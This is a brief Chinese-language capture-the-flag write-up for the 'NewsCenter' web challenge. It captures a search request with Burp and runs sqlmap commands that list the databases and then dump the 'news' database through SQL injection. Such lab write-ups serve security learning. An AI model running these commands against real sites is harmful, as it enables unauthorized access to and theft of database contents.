web_进阶_NewsCenter

可以通过sqlmap来**

在框中随便输入一个test，然后用burp抓包

将抓到的数据保存在1.txt里，用sqlmap进行**

Python sqlmap.py -r 1.txt --dbs

爆出数据库名

继续查询数据库news

Python  sqlmap.py -r 1.txt -D news --dump